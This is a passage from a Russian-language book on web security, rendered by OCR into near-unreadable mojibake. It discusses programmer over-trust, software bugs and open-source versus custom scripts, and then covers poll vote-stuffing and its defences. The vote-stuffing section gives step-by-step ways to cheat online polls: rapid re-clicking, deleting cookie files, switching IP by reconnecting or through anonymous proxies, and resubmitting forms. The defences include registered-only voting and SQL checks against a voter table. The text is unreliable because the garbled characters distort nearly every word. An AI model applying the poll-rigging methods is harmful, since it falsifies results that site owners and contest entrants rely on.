OT nonb3oBatensa. Ecniu nonyyaeMble naHHble HUCnONb3YIOTCA npH obpatueHHH
k aitnosoii cucreme, CYBJ] unu apyrum cepBepHbIM NporpaMmas, TO eCTb Onac-
HOCTb, YTO XaKep CMOXET NMOJyYHTb BO3MOXKHOCTb BbINONHATh KOMaHbl, KOTOpbIE
He JOKHBI ObITb JOCTYIHbI.

['masHas npoGnema nporpaMMHCTOB — OHH NUIIYT MporpamMMy, 4yToObl oHa Kop-
PEKTHO BbINOJHANA NOCTaBIeHHYIO 3anavy. [Ipu sToM OHM HapeloTca, YTO NOAbL30-
BaTesb Beeraa Oyaer nepenaBaTb KOppeKTHbIE JaHHbIE, @ eCli JaHHble U OyayT He
KOPPEKTHBIMH, TO HE CneunanbHo, T. e. npocTeiiune owubku Thna "3abbin yka-
3aTh napameTp”. 51 caM kak NPOrpaMMHCT CIHLIKOM [JOBEPYHB, NOITOMY OYeHb
4aCTO HE NpOBEPAI0 napaMeTpbl, NOMy4YeHHble OT NOb30BaTENs Ha onacHoe co-
JepiKUMoe.

Ha moii B3rnsg, NOMHMO HEONBITHOCTH, HMEHHO A0BEPYHBOCTD AB/IAETCA IIABHBIM
BparoM nporpamMMucta. B nporpaMMupoBaHiH, kak Ha BOHiHe — NOBEPATb HHKO-
My Heb3s, ocoGeHHO, ecn nporpaMmoi Gynere nNoab3oBaThCs HE TONBKO BbI.

1.14. OwmbKM ecTb,
UX He MOXEeT He eCTb

OueHp YacTO MOXHO YC/bILLIATh BBICKA3bIBAHHA THNA: "YCTaHOBHUTE 3TOT (popym/uar/
CLEeHapHii, noToMy 41O y Hero Her ownbok". Ha camom nene owMbku ectb BO
BCEX CLIEHapHsX, NPOCTO B HEKOTOPbIX UX eLle He HaLLIH.

Ewe oaHo uHTEepecHoe BbickasbiBaHHe: "JToT (popyM OezonacHee, noToMy HTO
B HEM He Hauli olUOOK M HeT WX onucaHus B cniuckax BugTraq". Ecnu ownbok He
HaLlNH, 3HA4YUT UX elle HUKTO HE UCKaJT, a eClTK ¥ UCKaJl, TO HE OYEHb BHHMATE/bHO.
Kak s yxe ropopun, oulHOku ecTb Be3ae, Hy, WM nodtH Besse. Ckopee Bcero, clie-
HapHii ellle HeOCTAaTOYHO MOMYNAPEH, YTOOLI 3aHHTEPecOBaTh XakepoB.

Kak nokasbiBaeT npakTuka, yeM Gosee nonynspHa nporpamma, TeM Gonblie B Heil
HaxoaaT owrGok. OGpaTuTe BHUMaHHE, YTO UMEHHO "HaxoasaT".

Tak uTo e Torna BeIGpath? Jlis 3TOro cHayana Hy»XHO onpeaenuTbCa B nNpeuMy-
LleCTBaX M HEAOCTATKAX CaMOCTOATENIbHO HAMHCAHHBbIX U pa3paboTaHHbIX Ha 3aKa3
nporpamm, a Takxe peiteHdid Open Source (nporpaMMbl C OTKPbITbIM HCXOXHbIM
KOJIOM).
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1.14.1. CamocCcTOATENBbHO HAaNUCaHHbIE NPOrpaMMb!

Ecan y Bac HeT gocTaTOYHOro onbiTa HanMmWCaHHWA NpPOrpamMM, TO HHKOrAa, maxe
NpH CambIX TYUYUIUX TEOPETHUYECKUX 3HAHHAX, He NbiTaifTeCh MOMYYHUTH €ro, Bhbl-
NOJTHAS NPOEKT, KOTOpBIH OyneT JOCTyneH WHpoKoi oOLECTBEHHOCTH, U OT paboThl
koToporo Gyaer 3aBuceTb Balll GUHAHCOBbIH JOXOA. A €CliM y BaC HET Jaxe Teope-
THYECKHX 3HaHHIA, TO HE CTOMT Jaxke AyMaTb O CaMOCTOATENbHOMH pa3paborke.

HeBo3MOXHO nepecuuTaTbh, CKONbKO MPOEKTOB GBUIO B3JIOMaHO TONBKO MO TOM
npHYHHE, YTO HX HayuHANM paspabaTbiBaTh HEONbITHBIE NPOrpaMMUCTbl. Ecnu Bbi
He XOTHTe, YTOObI 3TO MPOM3OLUNO M C BallMM, TO He CTOMT NOBTOPATb YYXKUX
owH6ok. IlpoekTsl, koTopble GyayT OTKpbITHI A8 BCeolllero HCNONb30BaHWA,
AOMKHbI pa3pabaTbiBaTbCA TONLKO Npod)ecCHOHaNaMM, NOTOMY YTO CPEAH THICHYH
AOGPOCOBECTHBIX NOCETHTENEH MOXKET NoNacThCA OfAMH XaKep WM NPOCTO BpeaH-
TeJIb, KOTOPbIit CMOXKET HAHTH yA3BUMOCTb H HCMOJB3OBATD ee.

1.14.2. NMporpammsbl, HanUcaHHbIe NOA 3aKa3

Jlyyinee pelieHue, ecnu y Bac eCTb A€HbIM U BO3MOXXHOCTb — 3TO 3aKa3aTh Mpo-
rpaMmy y npoeccHOHaNbHbIX NpOrpaMMHCTOB. Y npodeccHOHANOB BCeraa ume-
€TCA IO0CTaTOYHO HapaboTok, KOTOpble MOXCHO MCMONIb30BATh JJIA pelleHus BalueH
3aflaud. XOpolIO OTHKEHHbIH KOA MO3BONAET CO3AaBaTh Ge3onacHble pelleHMd,
a Gnaromaps ToMy, 4TO KOA, CKOpee BCero, 3aKpbiTblit M CTpyKTypa Gasbl JaHHBIX
3apaHee HEH3BECTHA XaKepy, B3/IOM 3HAYHTENbHO YCIOXKHAETCH.

Uro 661 HK roBopunu ctopoHHHkd Open Source (nporpaMMBI ¢ OTKPbITBIM HCXOA-
HbIM KOOM) B 3aLIlMTY OTKPBITOCTH, A CUHTaIO0, YTO Y Hee eCTb CnuLIKkoM GobLION
HEAOCTAaTOK: HenpogecCHOHaNbHble W HeONbITHble NPOrpaMMHUCTbl. MHorKe co3-
AaloT U ucnonb3yroT Open Source TONbKO ANiS TOro, YTOObI NOMYYUTh ONbIT K OT-
TOYUTb CBOM 3HAHHA.

3akpbITYIO NporpaMMmy B3/IOMaTb HaMHOro cioxHee. [laxe ecaun Bbl Haiiaere no-
TEHL{HANbHYIO OLUMOKY, KaxxJI0oe NpOABMKEHHE MOXET CONPOBOXIATHCA Cepbel-
IbIMH npobaemaMy ¥ npensaTCTBUAMH. OTKPbITbIE TEXHONOMMH NpHHOCAT Gonblue
npobsieM, 4eM 3aKpBITbie, NOTOMY YTO NMPEAOCTABAAIOT XaKepy CAHLIKOM MHOTO
HiI(pOpMaLIMH:

I. Kax Mbl y)xe onpenenunu, xakep 3HaeT CTPYKTYpy 6a3bl AaHHbIX.

2. Xaxep 3HaeT, rjae HaXOAUTCA NaHelb aAMHHUCTPHPOBAHHUS.

-

. OTkpbiTa HHPOPMALMSA O TOM, Ii€ HAXOAATCH OCHOBHblE HAaCTPOHKH K MApoH
JlocTyna,

'YI0 OCIIOBHbIE HEAOCTaTKH, KOTOpPble 00JIeryaloT B3NOM, 3aKpbITbiC pellleHUs JiK-
micunt MX. Jla, B 3amuty Open Source MOKHO cka3aTb, Y4TO GJIArO/IRPA OTKPLITOSTH
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B HHX HaXOAAT MU UCTIPaBAAIOT OWHOKH, a B 3aKPbITEIX CHcTeMax Gonblie B3BeleH-
HbIX 6oM6, koTOpble MOryT B3opBaThCsa B N06OH MoMeHT. Tlyctb nyywe i Gom-
661 GyAyT B3BEAEHBI B 3aKPBITOM KOAE M HUKOrJa He B30OPBYTCH, 4eM OyayT B3pbi-
BaThCA KaXKJAbIH MECAL B OTKPBITOM. JTO JIMYHO MOe MHeHHe, C KOTOPbIM KaXbIH
MOXET COrfIaCUTbLCH WM HeT.

1.14.3. Pewenun Open Source

Pewenus Open Source MoxHO BbIOHpaTbh ANl HEKOMMepUYecKHX npoekToB. B aTom
ciydae ClefyeT peryjispHO CleJuTb 3a OOHOBIEHHSAMHM U CTaBUTb MX BOBpPEMSA.
INpueeny npumep. Y MeHsa ecTb cBoii Web-caliT, KoTOpblii 1 He Mory Ha3BaTb
GonblINM, TO MOCELaeMOCTH €ro faxe K CpeHeMy KJacCy OTHECTH CIIOXKHO,
¥ npy 3TOM OH paboTan ¢ yxke U3BeCTHbIMU BCeM OLIMOKaMHU TPHU Mecsaua, npexae
yem Gbln B3tomaH. Ecnint 6b1 8 XOTb HeMHOro 6b11 BHHMaTeNbHEH ¥ MeHbllle AoBe-
PANl NOCETHTENAM, CPEH KOTOPbIX He Bce N0OpPOCOBECTHbIE, 3TOr0 MOXHO ObiIO
Gbl u30exkaThb.

HenoctaTok roToBbiX pelleHHit ¥ B TOM, YTO OHM PeanH3yloT HamHoro Oosblue
BO3MOXHOCTEH, YeM HCNOJIb3YIOT nonb3oBateny. Kaxgas NHILHAS BOZMOXHOCTb —
3TO BCeraa noTeHUManbHas yrposa 6ezonacHocTH. B cBA3M ¢ 3TUM HHUKOraa He yc-
TaHaBNWBaHTe NULIHHE HaICTPOIKH, OCOOEHHO, eCliK Bbl M BAalUK NOJb30BATE/IN HE
nonb3yerech UMH. [To Moum HabnoaeHHAM, 0a30Bas KOH(UrypauHs COAEPNKHT
MeHblle owHbok. Yawle Bcero ouMbkyU HaXoAAT UMEHHO B HAACTpO#iKax, KOTOpble
NpesoCTaBNgIOT AONOMHHUTENbHbIE BO3MOXKHOCTH.

Koraa Bbl BbIGMpaeTe roToBoe pelleHHe, TO KaKOMY OTAATh NpeANOYTEHHE — MO-
ITyNIspHOMY, B KOTOPOM HaXOAT OwHMOKH, UM HenonynspHOMY, KOTOPbIH HaXxo-
autcs B TeHH? Ecnu yecTHO, TO BEpOATHOCTb B3/10Ma OT NOMYNSPHOCTH nporpam-
Mbl 32BUCHT He CHibHO. TyT Bce Gonblile 3aBHCHT OT NOMyNAPHOCTH Bawero Web-
caiita. Ecni oH o4eHb nonyispeH, TO Xakepbl 3aUHTEPECYIOTCA HM, H BO3MOXHO,
YTO HaigyT OWHOKY, KOTOPYIO ellle HUKTO He BH/EN paHblle.

MoxeT nokasarbcs, YTO nonynspHble U GonbliKe nporpaMMbl (ClieHapHH) ycTa-
HaBJIMBATh HeNb3f, K OHW HecyT B cebe Tonbko npobneMsl, HO 3TO He Tak. Y Gosb-
LIKMX NPOEKTOB MHOI'C NPEeHMYLIECTB, HanpUmep:

1. UroGbl nepkaTh MapKy M OCTaBaThCA MOMYMAPHBIM, NPUXOAHUTCA HAAENATH
¢$opym BCeMH HeOOXOAMMBIMM CpeJCTBaMHM He TONbKO ynoOcTBa, HO M Ges-
OMACHOCTH.

2. OGCHOBNIEHMS BLIXOAAT perynspHo W 4daile Bcero BospeMs. [Ipocto cneaure 3a
HOBOCTAMH, W BEpPOATHOCTb B3noMa Bawero Web-calita OyAeT CTpeMHTbCA
K HyJtO.

Ecnu Bamr Web-caliT He o4YeHb nonyispeH, TO MOXKHO BbiGpaTh M HE OYeHb nony-
napHeiii cueHapuit, Ho echu Web-caitT nonb3yerTcs nonynspHOCTbIO, TO A Obl He
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puckoBan BbiGMpaTb ManoONpUMETHYIO nporpammy. Heno B ToMm, yto TaKHe)#'IPO-
rpaMMbl O4eHb 4acTO OGpocaloT H O CBOEBpEMEHHOMH nopuepxke MoxHo Oyaer 3a-
ObiTh. B 3TOM Chyuae, ecnu noasuTcA owHOKa, UCNpaBiATb ee NPUIOETCH CaMo-
CTOATENbHO, U BCe npobiieMbl NOAIEPIKKH NIATYT Ha Bac.

B no6oM cnyuae, eciii Bbl yCTaHaBJIMBaeTe Kakoi-THG0 CLUEHapHii, TO Bbl AOJIXKHBI
XOTb HEMHOIO pa30UpaThCs B A3bIKE NPOrpPaMMUPOBAHUA, KOTOPbI OH MCNONB3YeET —
MHOrAa HCNPaBNATh OWKOKM NPHUXOANTCA CAMOCTOATENBHO.

Mou pexoMeHOaUHH:

1. Ecnu ectb neHbru U BO3MOXHOCTb, @ TAKXKE, €C/TH Bbl YBEPEHbI B CBOHX CHaX,
TO Jy4llie HanucaTb COGCTBEHHDBIH CLEHapHIi.

3. Ecnun npoekT xoMMepueckHH, H Bbl HE YBEpeHbl B CBOHX CHJIaX, TO Jyyllle BOC-
nONb30BaThCA yCayramu npoecCHOHANOB H 3aKa3aTh NporpaMMy y CTOPOHHHUX
pa3paboTuHKOB.

4. Ecnu npoekT He KOMMepUYeCKHH, TO MOXKHO MCNONb30BaTh OTKPLITOE pelleHHE,
rnaBHoe — BOBpeMsA ero OOHOBNATD.
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pocTble MmeToAbl B3aNOMa

B 3T0i1 rnaBe Mbl pacCMOTPHM HECKOJIbKO METOIOB B3JIOMa, KOTOpPble MOXKHO Mpo-
BECTH Ha OonbiuoM konuuectBe Web-caiitos. [Togo6GHble Beln yaule Bcero npo-
BOJAT C LEJbIO OTOMCTHTb BRanenbuam Web-caitta. O6a BapuaHTa npocTbl B NpH-
MEHEHHH, U 1 HaJieloCh, YTO Bbl He OyxeTe MMH 3N0yNOTPebAATL — 3TO XKe TO ke
camoe, 4To GpocaTb Mycop Ha yJIHLbI.

Cpa3y oroBopioch, 4TO KHHWra HampaBlieHa He Ha To, 4ToObl HAy4HTb Bac Nomob-
HbIM METOAaM, a MJIA TOro, 4To0bl Bbl 3HAIH BO3MOXHbIE WCTOYHHKH Yrpo3bl
H yMeJld OT HHX 3awmuuarbes. S, kak Bnaneney asyx Web-caiTos, He pa3 BCTpe-
yajics CO BCEMH OMMCaHHBIMK B 3TOM riase WYTKAMH He0OpOCOBECTHLIX NOCETH-
Teneil. Hapeloch, 4To 3Ta riaBa NOMOXET BaM He CTONIKHYTbCS € TaKMMH Ke Mpo-
Bremamu.

2.1. HakpyTka ronocoBaHuA

CucreMbl ronocoBaHMa Ha pasHbix Web-caliTax noctoaHHo pa3BuBaloTcs, U Mpo-
rPaMMMUCTbI 3aKpbIBAlOT JiaselKH, C MOMOLLBIO KOTOPLIX MOJb3OBaTENH MOrYT
roJiocoBaTh MHOrOKpaTHo (HakpyTka ronocoBaHus). JomycTuM, 4yTo Hekas Komna-
HHA NPOBOAMT MHTEPHET-ONMPOC, M Bbl, ECTECTBEHHO, XOTHUTE, YTOObI noSeauna
Balla Bepcus oTBeTa. Kak ke nocTynuTb B Takoi cutyauuu? BapuaHToB MHOrO,
110 BCe 3aBHCHT OT NnporpamMMbl, KOTopas coOupaeT rosioca nojb3osarene.

PaccmoTpuM cnocobbl HakpyTk Ha Web-caiite www.download.com. 3aech
MOXKHO rolOCOBaTh 3a JKOOHMMble nporpaMmbl, OTaBas MM CBOE MpERNOYTEHHE,
Ecnu Bbl BUAMTE, 4yTO Bala M3GpaHHHLA UMEET MJIOXOH PEHTHHr, TO MOXETE Mo~
HILITATHCA U3MEHHTb CUTYALMIO U NOMOUb pa3paboTyuky.

1100 MOHATb, KaK NPOMCXOAMT HAKPYTKa, HY)XKHO 3HaTb, KakMM obpaizoM
puGoTaeT cucTema rosjiocopanus. Cambiii npocTod BapHaHT ee paboThbl — HCNONb-
wonanine Cookies (910 T. H. (aiibl-nMIOILKH, B KOTOPbIX MOXHO coxpaHaTh mobyio
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none3uylo uHpopMauuio). Kaxabliit Web-calit cozpaer Ha BalleM koMnbloTepe
CBO#H (aiin, k KOTOpOMY UMeeT fKocTyn Tonbko oH. Koraa Bbl oTaaere cBoit ronoc,
To MHpopmauusa o6 3ToM coxpaHsercd B Cookies. PaccMOTpiM wiaru, koTopsle
BbIMOJIHAIOTCS NPH rONIOCOBAHUH:

1. OrnpaBka nakeTa c OTBETOM Ha BONPOC.
2. Cepsep oOpabaTbiBaeT OTBET ¥ NPUCHINIAET NOATBEPKACHHE.
3. Baw komnbioTep coxpanseT uHpopmauuio B Cookies.

Takum obpasom, npH cnenpyioieit nonbiTke rosocoeaHus Web-cepeep ¢ nomo-
mpto Cookies onpesenuT, 4TO Bbl yXKe roocOBaNM, W He XaCT BaM CAENaThb 3TOro
nosTopHo. Ho Tak Tonbko npeanonaraercs, a ceifuac Mbl pacCMOTPUM METOAbI,
KOTOPbIMH 3TY 32LLMTY MOXKHO OOOWHTH.

2.1.1. BapmnaHT HakpyTku Ne 1

IlaTh neT Ha3ag cucTeMa rojiocoBaHus Ha www.download.com He uMena abco-
NOTHO HHKAKOH 3allMTbl OT MNOATACOBKHM, H MOXKHO ObLIO BOCHONb30BaTbCA MpO-
cTelIMM cnocobom "ObicTporo Kinka": 3axoaute Ha Web-caiiT, BblOHpaeTe HyX-
Hblii BApHAHT OTBETA U HauMHaeTe OLICTPO HaXKMMaTb KHonKy OTNPaBHTh.

HonycTum, Bbl Hcnonb3yere NpocTyio TeledOHHYIO TMHUIO, TOrAa 18 OTNPaBKH
BalLIErO OTBETA M MONMyYeHHA NOATBEP)KAeHHs (3anucH aaHHbIX B Cookies) HykHO
BpeMA. EciM B MOMEHT nepecbuUTKH/MONyYeHHA naKkeTa NOBTOPHO HAXaTh KHOMKY
OrnpaBuTb, TO npeabiayllas NOCbUTKa Ha KIMEHTCKOH CTOPOHE CUMTAeTCs Hesa-
BEPLUEHHON W OTMEHSAETCA, @ HayHHaeT paboTaTh HOBas ceccHa obMeHa JaHHBIMHY.
Koraa Ha nepBylo oTnpasky npuaeT noareepxaeHve Web-cepsepa 1 npocbba u3z-
MeHuTb Cookies, To 3anpoc Oyaer OTKJIOHEH H3-32 HECOBNANEHHA CECCHI.

CnegoBarenbHo, ecin 6bicTpo HaxkHUMaTbh kHonky OrnpaButsk, TO GyayT oTnpas-
NATBCA MaKeTbhi C HallMMW BapHaHTaMH oTBera, a Web-cepsep ux obpaboraer
¥ 100aBMT nonyvyeHHble rosoca (T. €. BbINOJHATCA ward | ¥ 2). A BOT Ball
KOMNbIOTEP CTAHET OTKJIOHATb NOATBEPXAECHMSA, U TPETHH Luar OyeT NpolTyckarbcs,
MoKa He NPOMU3OHAET OAHO U3 ClesyHOUX cCOOLITUH:

O ecnu Bb NpexpaTHTe OLICTPO HAXXMUMaTh KHONKY OTNpaBkH OTBeTa, TO Gpaysep
npuMmet @Qaitn Cookies, nonyuyeHHblii B pe3ynbTaTe MNOCHEJHErO HaXKaTHA,
H COXPaHHT €ro;

O ecan Mexay HaxaTHsMH KHOnkW otnpaBkd Web-cepsep obpaboran 3anpoc,
a Ball KOMMBLIOTEp ycriea MPHHATL NOATBEpxIEHHe, TO (aiin OyneT co3aaH,
W NafibHelLIne HaXKaTHA CTaHYT HEBO3MOXHDBIMH.

Ha BbigeneHHBIX THHHAX ¢ GONBLIOH CKOPOCTBIO MOAKIIOYEHHA OOMEeH nakeTaMH
NPOMCXOAUT OLICTPO, H MOXKHO HE YCNETb HaKaTb B OYEPEAHOH pa3l, a 3HAYHT,
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¢aiin Cookies 6yner coznaH. B 3toM cnyuae nogoiigeT apyro#i cnoco6 HIMeHeHHS
CUeTUHKa.

2.1.2. BapuaHT HakpyTKu Ne 2

Koraa nporpaMMHCTbI 3aMeyaloT, 4TO CHCTEMY roNoCOBaHWA HaKpy4HBAIOT Nep-
BbIM cnocoboM, TO OHM HauMHAKOT co3aBaTh 3auMTy. Cambid npocTeiiinii BapH-
aHT: cpa3y foclie OTNpPaBKK OTBETA OTKIIIOYHTb KHONKY (CAenarb ee HeXOCTYNHOMH)
c noMoubio JavaScript, 4 BTOpas nonbITKa HAKAaTHA CTaHET HEBO3MOXKHOM.

Tax kak undopmMaums o ronocosaHuu coxpanserca B Cookies, To Heo6xoaumMo ero
yaanuTb. [Ina sToro HyxHoO nepeiity B nanky \Documents and Settings\Mma nons-
3oBatens\Cookies, rae HMa nonb3osaTtens — 3TO UMA YUETHOMH 3aNHCH, NOJ KOTO-
pofi Bbl BOLLTH B CHCTeMy. 3aech HaxoaaTcs ¢ainsl popmara Hma nonbzosare-
na@anpec.txt. [Tocne cumeona "@" uner anpec Web-caiita, ¢ koToporo nonyyeH
nannbld Cookies. HaiiauTe daiin ¢ HyXXHbIM roioCOBaHHEM M NPOCTO yAaNuTe ero,
nociie Yero MoXHO NOBTOPHTH NOMbITKY.

[IpuBeneHHbIN BapHaHT NOJXOAMT M B TEX CAyYasX, KOTAa Bbl XOTHTE [OBTOPUTH OO~
coBaHHe nepebIM cnocobom (cm. pazo. 2.1.1), Ho dalin Cookies yxe cyliecTByerT.

2.1.3. BapuaHT HakpyTku Ne 3

HanGonee crofikas 3amurTa opraHusyercs nyreM npoeepkd IP-anpeca, T. e. rosoco-
BaTb ¢ kaxcgoro IP-anpeca MOXKHO TONbKO OAMH pa3. TyT BO3MOXHbBI /1Ba BapHaHTa.

O IlIpu ucnonb3oBaHHWK MoaeMHoro noakiouenus [P-anpec HasHavyaercs aBToMa-
THYeckd. B 3TOM cnyyae JOCTaTOYHO NOAKITIOYHUTBLCA 32HOBO, YTOOLI NOMYYHTD
HoBblI# [P-aapec, ¥ NOBTOPHUTH rofiocoBaHHe.

O Ecau y Bac BbiaeneHHasA THHHUSA, TO 18 NOBTOPHOIrO roJioCOBaHHUA NOJb3YHTECH
NOAKJIIOYEHUEM Yepe3 aHOHUMHbIE NPOKCHU-CEpBepbl, CNUCKOB KOTOpbiX B HH-
TEPHETE NPeJOCTATOYHO.

OueHb 4acTO NPOrpaMMMUCTBI [U1S 32LLUMTHI OT HAKPYTOK Hcnonb3yloT yuer [P-anpeca
it Cookies onHospeMeHHo. B 3ToM cnyyae Hy)XXHO 06s3aTesibHO yAansTh COOTBET-
c reyloinit Web-caiity Cookies, UHaue cUcTeMa rolOCOBaHHA ONpeJEIHT NOXBOX.

| lpumeHeHHe 3aumTht no IP-aapecy — poctaTouHo caoxkHoe Aeno. OyeHb MHOTO
nosib3oBarteneil MutepHeta paboTtaloT yepes pa3fiMiHble NPOMEXKYTOYHbIE CETH, HO
HMCIOT OAMH obwmnit IP-aapec, HanpuMmep, MHOrHe KOMNaHWH NpPeXOCTaBAAIOT
joctyn k MIHTepHeTy A8 CBOMX COTPYLHHMKOB uyepe3 npokcH-cepsep. Ecnu xors
(it OJIMH COTPYAHUK Takoi KOMNaHWKM nporosiocyeTt Ha Web-caiiTe, TO OCTAJIBHDIO
HOFCPAIOT TaKyiO BO3MOXKHOCTB, M MO3TOMY Henb3a GyaeT roBopuTh o kakoi-nn6o
0O LCKTUBIIOCTH OHIpOCa.
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HmenHo noatomy [P-agpeca, ucnonb3yeMble CUCTEMaMH rOJIOCOBAHHS TOJILKO U1
orpeneseHUs HCTOYHUKA HAKPYTKH, XpaHaTcsa B 6ase Heponro. Yepes onpenenes-
HOe BpeMs BbI 6e3 npobnem cmoxere mporonocosath ¢ Toro xke IP-agpeca. Ans
DOATOBPEMEHHOH MACHTH(HKALMHM POTONIOCOBABIUMX Yalile BCEro HUCMONbIYIOTCA
uMeHHo Cookies, KOTopble Hy)KHO PeryJispHO YAAIATb, a €C/IH 3HaTh UX COOESPXKHU-
MO€, TO JOCTaTO4YHO NMPOCTO peAaKTUPOBaTh.

Ecnu IP-aapec 6nokupyercs TONMbKO Ha KOPOTKUH MPOMEXYTOK BPEMEHH, TO Ha-
KPYTKa CTAHOBHTCA HE TaKUM YXX M CIIOXKHBIM 3aHaTHeM. [Ina 3toro mocratrouHo
BbIOpaTh CBOM BapHaHT OTBETa W HaXaTh KHOMKY oTrnpaBku. [lepen Hamu otkpoer-
ca Web-cTpanuua, KoTopas nojay4aer, U BO3MOXKHO, 4TO cpa3y oTobpaxaer mosy-
YeHHYI0 HHGopMmauuio. OTAbixaeM ONPEencseHHOE BpeMdA, B TEYEHHE KOTOPOro
NPOUCXOaUT cHAaTHe 3amnpera [P-agpeca, a noToM mpocTo HaxKkMMaem B Opaysepe
kHoniky O6HoBHTBL UK Knasuiny <F5> (ansg Internet Explorer). B oteer 6paysep
JO/MKeH COOOLIUTb, YTO MPOU30MIET NMOBTOPHAA OTNpaBKa AaHHBLIX, H 3AIPOCHTH
paspelleHHe 3TOH oTnpaBkU. Eciu OTBETHTL NONOKUTENBHO, TO OyaeT oTnpaBieH
TO4HO TaKOM XK€ MaKeT JaHHBbIX ¥ roAoC OyaeT NpUHAT.

HHoraa nony4yeHne AaHHbIX MPOMCXOAMT O TPEXYPOBHEBOH CXeMe, U3 Tpex cue-
HapHeB (BCE 3TO MOXKET AefaThb OAUH daiin):

O cueHapuii | oTrobpaxaer ¢popmy 11 BBOAA;

O cueHapuH 2 nMoAy4aeT AaHHbIe OT NOAb30BATENA, COXpaHseT Ux B 6asze u mepe-
JaeT YIpaBAeHHEe CLUEHAPHIO 3;

O cueHapuii 3 oTobpaxaer pe3ynbTar.

B 3TOM cayuae no 3aBepileHHH OTNpaBkU Bbl OyneTe HaXONMTLCA B CLEHAPHH 3,
KOTOpBIit npocTo oTobpaxaer uHpopmaumio. Ecnu HaxkaTh kHONKy o6HOBAEHHS,
TO cueHapuit Ha Web-cepsepe npocto HH4ero He moay4ut. [Ipuaerca HaxumaThb
kHonky Ha3saa, 4roOul monacTh Ha cueHapHil 2 WiH k cueHapHio 1, 4yTobbl nosTo-
PHTb OTIIPABKY JAHHBIX.

2.1.4. 3auwmTa OT HaKpPYTKH

Ecau B ronocoBaHWH €CTb BO3MOXHOCTb HAKPYUMBATH Pe3y/bTaThl OTBETOB, TO CMbICH
OT TaKOro FONIOCOBaHWA CTPEMHTCS K HYMO. Pe3ynbTaTaM Henb3s BEPUTL U OHY MOTYT
TOMBKO BBECTH B 3a05y)KaeHHe paspaboTunkoB ¥ nocerurencit Web-caiita. Pazpabor-
YyuK 0043aH NMpeAyCMOTPETh HAKPYTKY M CO34aTh HEOOXOAUMYIO 3aLUHTY.

Kak moxHo 3awmutuTeca? Ha moii B3rnaa, camsbiii 3¢b@eKkTHBHBIM METOA COCTOMT
B BBINOJIHEHHH CJIEAYIOLIMX LArOB:

(0 maBaTb BO3MOXHOCTb FOJIOCOBaTh TONBKO 3apEruCTpHpPOBaHHbBIM TIONIB30BATE/IAM,

O B 6a3e gaHHbIX co3gaTh Tabnuuky, B KoTopo#H OyayT coxpaHATLCA UMEHA BCEX
poroaocoBaBIIMX NONbL3OBATENEH;
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O nepen coxpaHeHHEM pe3ynbTaTa rofIOCOBaHHUS IPOBEPATH, €CNIK B 3TOH Tabsmiue
yXKe €CTb MMs [pOroJioCOBaBILIEro, TO 3ampoc mnonb3osateis HeobxoaUMO
OTK/IOHHTb.

Takoii cnocob ouenn sddextusen. Ecnu monws3oparens 3axouer oOMaHyTh Bac
U MporoaocosaTh ABAXbl, TO M1 TOro, 4Tobbl OTAAaThL BTOPOi rosoc, npuaeTcs
npolTH Bech mpouecc peructpauud Ha Web-calite. Eciu perucrpauus conpoBox-
JaeTcsA OTIIPaBKOH IO MOYTE KOAA MOATBEPXKAECHHA U aKTHBAUMH, TO 0OMAHIUKY
MpUAETCA CO3AaBaTh OTAENbHBINA ALIMK N4 KAXIO0M perucTpaunu. A 370 elie OfHa
npobnema, peieHne KoTopoi morpedyet Bpemenu. Uem Oonbiue BpeMeHH Heob-
XOOUMO HA TO, 4ToObI chanbcuduuUUpoBaTh roaoc, TeM MeHbile OyaeT nomnbiToK
cAenartb 3TO.

C npyro#i CTOpOHbBI, perucrpauus noaxHa ObITb MAKCUMaNbHO MPOCTOH M yno6-
Ho. Ecnu ee caenath cnokHo#, TO ao6ponopanoyHbie nonab3oBaTeNnd He 6yayT
PerucTpUpoBaThCa HE TO, YTO ABAXKAbL, a OaXe eAUHOXKAb. Bbl MOXxeTe cka3arh,
YTO 4YE€M MEHbIE PEerucTpauMdi, TeM MEHbILE BEPOATHOCTb, YTO cpeau Hux Oyaer
XaKep, HO 3TO HEBEepHO. Jeno B TOM, YTO 3NOYMBIIUACHHUK MOTPATHT BpeMs Ha
pErucTpauvio, JaXKe caMylo AOATYIO, a JoOpOonopaao4HbIH MONb30BaTEAb MOXET
W OTKa3aTbCA OT Hee, eciad B Hel He Oynet ocTpoli HeobxonumocTH. Kakoit ciox-
HOCTH enaTh perMcTpauHio — 370 nmpobnaema paspabotumka (Bnagenbua) Web-
caiita. OH Z0/MKEH HaiTH CBOIO 30JI0TYIO CEPENIUHY.

Onuaxabl A cnyvaiddo 3abbin 3aJaTh NPaBuAO, 10 KOTOPOMY HE CINEL0BajIO MpH-
HUMaTb rojoC OT YK€ MPOroJiOcOBaBIUEro MoAb30BaTend. ['0n0coBaHKE OMnpaliu-
BAJIO MOCETHUTEAEH 1O MOBOAY MPOBOAMBILErocs KOHKYpca, H OT 3TOro 3aBHcelia
cyabba meHexHOro npusa. TeM, KTO yyacTBOBan B KOHKypce, 6biao 661 0O6uaHo,
ecnu Obl IEHbTH AOCTANUCh TOMY, KTO HakpyTua pe3yabTaT. Ho OGnaromapsa Tomy,
uyTo Ha Web-cepsepe Obina Tabauua ¢ AaHHBIMH, 32 KOTO rOAOCOBAN KAaKOH IOJb-
30BaTEb, TO A AETKO CMOT BBIYHUCAUTD TEX, KTO HAKPYYHBAN JaHHbIE.

Kak MoxHO HaiiTH 06MaHKkoB? J[OMyCTUM, YTO Balle rojoCOBaHHE MO3BOJACT
BBLICTaBHTb OLUEHKY OT |1 10 5 3a onpeaesieHHY!O NO3HUMIO ToBapa. B 3ToMm ciyvae
rnosib3oBaTeNb UMEET MIPaBO rofoCoBaTh TONLKO OAHH pa3 3a Kaxkablii Tosap. Tab-
N¥ua cO CITUCKOM IPOroJiocOBaBILUMX AOMKHA COCTOATHL M3 CASAYIOLLIUX ITOACIH:

O keyl — KJIOUEBOE MNOJAE,

O iduser — vACHTH(PHUKATOP MOAL3OBATENS;

O idGoods — uleHTH(UKATOP TOBapa.

Tenepb nepea yueToMm roaoca AOCTaTOUHO BHIMIOAHUTL CIEAYIOWHHA 3anpoc:

SELECT count(*)

FROM TaGmuun

WHERE. 1dUser=Mma
AND 1dGoods=ToBap
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Ecnu pesynbraToMm 6yaer HeHyneBoe 3HauyeHHe, TO yKa3aHHbIN MONb3OBATENDb YKe
roJIoCOBaJl 32 Yka3aHHbIH TOBap W €ro rojioc MOXHO He YuuTbiBaTh. UToGbI Onpe-
RENUTb, €CTb ¥ B 6a3e AaHHBIX HAKPYTKH, TO MOXHO BbINONHHTb NPUMEPHO che-
AyIOLLHHA 3anpoc:

SELECT idUser, idGoods, count(*)

FROM TaGumius

